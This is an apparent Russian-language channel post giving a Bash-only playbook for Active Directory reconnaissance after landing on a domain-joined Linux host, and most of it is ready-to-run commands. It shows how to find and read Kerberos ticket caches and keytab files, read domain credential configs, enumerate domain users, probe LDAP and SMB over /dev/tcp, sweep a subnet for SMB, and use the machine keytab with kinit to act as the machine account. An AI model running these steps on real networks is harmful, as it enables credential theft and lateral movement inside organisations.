Bash для разведки Active Directory изнутри Linux-хоста — 26 августа 2026 г. в 09:56:44.649
Bash для разведки Active Directory изнутри Linux-хоста 👋 Приветствую в мире цифровой безопасности! Попали на Linux-машину которая в домене. Разберём что можно узнать про AD-окружение чистым Bash без загрузки инструментов. ⏺Определяем домен и контроллеры: # Домен из resolv.conf и hostname cat /etc/resolv.conf | grep -i "domain\|search" hostname -f # Контроллеры домена через DNS SRV-записи dig -t SRV _ldap._tcp.domain.local dig -t SRV _kerberos._tcp.domain.local # Часто контроллер прямо в resolv.conf как nameserver cat /etc/resolv.conf | grep nameserver ⏺Kerberos-тикеты на машине часто лежат готовые: # Ищем ccache файлы с тикетами ls /tmp/krb5cc_* 2>/dev/null find /tmp /var/tmp -name "*.ccache" 2>/dev/null # Смотрим содержимое без klist strings /tmp/krb5cc_* 2>/dev/null | grep -i "@" # Переменная окружения указывает на тикет echo $KRB5CCNAME ⏺LDAP-запросы без ldapsearch - через /dev/tcp: # Проверяем что LDAP отвечает exec 3<>/dev/tcp/dc.domain.local/389 echo -e "\x30\x0c\x02\x01\x01\x60\x07\x02\x01\x03\x04\x00\x80\x00" >&3 cat <&3 | strings exec 3>&- ⏺Ищем конфиги которые содержат учётные данные для AD: # Sssd, winbind, realmd хранят конфиги с доменными данными cat /etc/sssd/sssd.conf 2>/dev/null cat /etc/samba/smb.conf 2>/dev/null cat /etc/krb5.conf # Keytab файлы содержат машинные учётки find / -name "*.keytab" 2>/dev/null strings /etc/krb5.keytab 2>/dev/null | grep -i "domain\|host" ⏺Перечисляем пользователей домена через getent: # Если машина в домене getent тянет данные из AD getent passwd | grep -v "nologin\|false" | awk -F: '$3 > 1000' getent group | grep -v "^[a-z]" # Проверяем залогиненных доменных пользователей who last | grep -v "reboot\|wtmp" | head -20 ⏺Ищем SMB-шары и доступные ресурсы через /dev/tcp: # Проверяем SMB на контроллере домена (echo > /dev/tcp/dc.domain.local/445) 2>/dev/null && \ echo "SMB доступен на DC" # Сканируем подсеть на SMB без nmap for i in $(seq 1 254); do (echo > /dev/tcp/192.168.1.$i/445) 2>/dev/null && \ echo "192.168.1.$i:445 open" & done wait ⏺Что делать с найденным keytab: используем машинную учётку для дальнейшей разведки: # Экспортируем тикет из keytab KRB5CCNAME=/tmp/machine.ccache kinit -k -t /etc/krb5.keytab \ HOST/machine.domain.local@DOMAIN.LOCAL # Дальше можно делать запросы от имени машины export KRB5CCNAME=/tmp/machine.ccache 🤖Бесплатный ChatGPT

